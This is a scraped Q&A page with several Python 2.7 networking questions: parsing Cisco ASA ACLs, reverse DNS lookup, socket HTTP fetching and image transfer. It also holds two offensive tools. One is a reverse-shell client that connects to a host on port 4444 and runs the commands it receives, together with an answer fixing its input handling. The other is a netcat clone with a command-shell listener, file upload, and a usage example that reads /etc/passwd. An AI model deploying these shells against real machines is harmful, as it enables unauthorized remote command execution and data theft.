Python regex - matching regex in Cisco ASA config - python-2.7

I have the following config from a Cisco ASA:
access-list OUTSIDE extended permit tcp any object O-10.1.2.230 eq 9091
access-list OUTSIDE extended permit tcp any object O-10.1.2.241 eq pptp
I want the result to look like this in a list or CSV format:
rule number, permit/deny, protocol, source IP, source port, des ip, des port.
1, permit, tcp, any, any, 10.1.2.230, 9091
2, permit, tcp, any, any, 10.1.2.241, pptp
for line in open("file.txt"):
if "access-list" in line:
print line.split()
print type(line)
Thanks!

Please check if this is useful.
import csv
import sys
#Open both files and get handles.
config_file = open("out.txt" ,'r')
csv_file = open("result.csv",'w')
#
try:
writer = csv.writer(csv_file)
#Write titles in csv file
csv_head_list = ['rule number', 'permit/deny', 'protocol', 'source IP', 'source port', 'des ip', 'des port']
writer.writerow( csv_head_list )
rule_num = 0
#Read file line by line
for line in config_file.readlines():
line=line.strip()
#Check "access-list" in line
if "access-list" in line:
tmp_list = line.split()
rule_num = rule_num + 1
permit_deny = str(tmp_list[3])
protocol = str(tmp_list[4])
src_ip = src_port = str(tmp_list[5])
des_ip = str(tmp_list[7]).replace("O-",'')
des_port = str(tmp_list[9])
#Write data in csv file
csv_data_list =[rule_num, permit_deny, protocol, src_ip, src_port, des_ip, des_port]
writer.writerow( csv_data_list)
csv_data_list = []
except Exception, e:
print str(e)
finally:
config_file.close()
csv_file.close()

Related

Reverse DNS script with Regex in Python

I am currently working on a reverse DNS script intended to open a log file, find the IP address, then resolve the IP to DNS. I have a regex set up to identify the IP address in the file, but when I added socket.gethostbyaddr to my script the script ignores my regex and still lists objects in the file that are not IP addresses. I've never used Python before, but this is what I have right now:
import socket
import re
f = open('ipidk.txt' , 'r')
lines = f.readlines()
raw_data = str(f.readlines())
regex = r'(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})'
foundip = re.findall( regex, raw_data )
for raw_data in lines:
host = raw_data.strip()
try:
dns = socket.gethostbyaddr(host)
print("%s - %s" % (host, dns))
except socket.error as exc:
pass
f.close()
You're calling f.readlines() twice. The first time reads everything in the file, and puts that in lines. The second time has nothing left to read (it starts reading from the current file position, it doesn't rewind to the beginning), so it returns an empty list, and raw_data will just be "[]", with no IPs.
Just call f.read() once, and assign that to raw_data.
Then you need to loop over the IPs found with the regexp, not lines.
import socket
import re
with open('ipidk.txt' , 'r') as f:
raw_data = f.read()
regex = r'(?:\d{1,3}\.){3}\d{1,3}'
foundip = re.findall( regex, raw_data )
for host in foundip:
try:
dns = socket.gethostbyaddr(host)
print("%s - %s" % (host, dns))
except socket.error as exc:
pass

WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect

I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.
So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.
data = s.recv(1024).strip()
or
data = s.recv(1024)[:-1]
may both OK.

python2.7 netcat program running with subprocesses

I am trying to make a script to mimic netcat and it kinda runs but i don't get the result i'm meant to, when trying to debug it i managed to do a bit but after days of searching and trial and errors i am at a loss at how to fix the issue. This is my whole code:
import sys
import socket
import getopt
import threading
import subprocess
import os
# define the global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "BHP Net Tool"
print "Usage: netcat2.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming
connections"
print "-e --execute=file_to_run - execute the given file upon receiving
a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a
file and wrtie to [destination]"
print "Examples: "
print "netcat2.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat2.py -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe"
print "netcat2.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./netcat2.py -t 192.168.0.1 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline option
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu", ["help",
"listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the line from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
line = sys.stdin.readline()
print (line)
# send data off
client_sender(line)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
def client_sender(line):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target, port))
if len(line):
client.send(line)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print "response"
# wait for more input
line = raw_input("")
line += "\n"
# send it off
client.sendline()
except:
print "[*] Exception! Exiting."
# tear down the connection
client.close()
def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle out new client
client_thread = threading.Thread(target=client_handler, args=
(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
with open(os.devnull, 'w') as devnull:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execite command. \r\n"
# send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to out destination
file_line = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_line += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_line)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Succesfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_line = ""
while "\n" not in cmd_line:
cmd_line += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_line)
# send back the response
client_socket.send(response)
main()
when i run it, and close it with CTRL+D it exits and when i close the terminal i get this message in localhost:
<BHP:#> Failed to execite command.
<BHP:#>
if anyone can help me fix this or even point me in the right direction i'd really appreciate it :), i'm trying to run this in python 2.7

Print 3000 first characters from the file online using sockets

So I am doing this ungraded assignment from an online course (so please do not hesitate to post solutions to this nemesis of mine).
Assignment open the file from the webpage using import socket,prompt the user for the url, print 3000 first characters including header, but count all of the characters in the file.
So first I have done this:
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
print data
mysock.close()
except:
print 'Please enter a valid URL'
print count
But every time I adjust the buffer in the mysock.recv() the output changes and I get random spaces inside the text.
Then I've done this which eliminated the funky random splits in lines but the output still differs depending on the buffer inside.
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
data.rstrip()
text = text + data
mysock.close()
except:
print 'Please enter a valid URL'
print text
print count
So I've been at it for several hours now and still can't get the exact same output regardless of the size of the buffer without funky line splitting spaces in there.
the file that I use: http://www.py4inf.com/code/romeo-full.txt
I'm studying on same book and i'm on same exercise. Question is 3 years old but don't give af, maybe is helpful for someone.
On first you can't print data in that way. You need something like this:
while True:
data = mysock.recv(512)
if len(data) < 1:
break
print(data.decode(),end='')
Also, it's perfectly normal that you haven't same results if you change the buffer 512 because count variable depends on it. Anyway the author asked just to stop after showing 3000 chars.
My full code (will works only with HTTP, HTTPS not handled):
import socket
import sys
import validators
import urllib.parse
url = input('Insert url to fetch: ')
# Test valid url
try:
valid = validators.url(url)
if valid != True:
raise ValueError
except ValueError:
print('url incorrect')
sys.exit()
# Test socket connection
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('\nSocket successfully created')
except socket.error as err:
print('Socket creation failed with error %s' %(err))
# Extract hostname of url
parsed_url = urllib.parse.urlparse(url)
print('Resolving ->', parsed_url.netloc)
# Test if we can resolve the host
try:
host_ip = socket.gethostbyname(parsed_url.netloc)
except socket.gaierror:
print('Unable to resolve', parsed_url.netloc)
sys.exit()
# Connect to host
mysock.connect((parsed_url.netloc, 80))
# Crafting our command to send
cmd = ('GET ' + url + ' HTTP/1.0\r\n\r\n').encode()
# Sending our command
mysock.send(cmd)
count = 0
# Receive data
while True:
data = mysock.recv(500)
count += len(data)
if len(data) < 1:
break
if count > 3000:
break
print(data.decode(),end='')
mysock.close()
Could be the solution, maybe

sending images using python tcp socket

i'm new in python and english :). i'm trying to send an image file usşng python sockets and i have written this cosdes. it says it work but i get an empty file or missing image file.
this is the codes i've written:
server:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
sunucu , adres = s.accept()
print "baglanti saglandi"
def recvall(baglanti, buf):
data = ""
while len(data) < buf:
packet = baglanti.recv(buf - len(data))
if not packet:
return None
data += packet
return data
f = open("ggg.png", "w")
while True:
veri = sunucu.recv(512)
if not veri:
break
f.write(veri)
f.close()
print "resim alindi."
sunucu.close()
s.close()
and client:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host , port))
f = open("ornekresim.png", "r")
while True:
veri = f.readline(512)
if not veri:
break
s.send(veri)
f.close()
print "resim gonderildi"
s.close()
By default the Python function open opens file in text mode, meaning it will handle all input/output as text, while an image is decidedly binary.
A file in text mode will do thing like translating newline sequences (which are different on different systems). That means the data you read will be corrupted.
To open a file in binary mode, then append 'b' to the mode flags, like e.g.
f = open("ornekresim.png", "rb") # <-- Note the 'b' in the mode
However, with your code this leads to another problem, namely that you can't use readline anymore. Not that it made much sense anyway, reading binary data as lines since there are no "lines" in binary data.
You have to use the read function instead.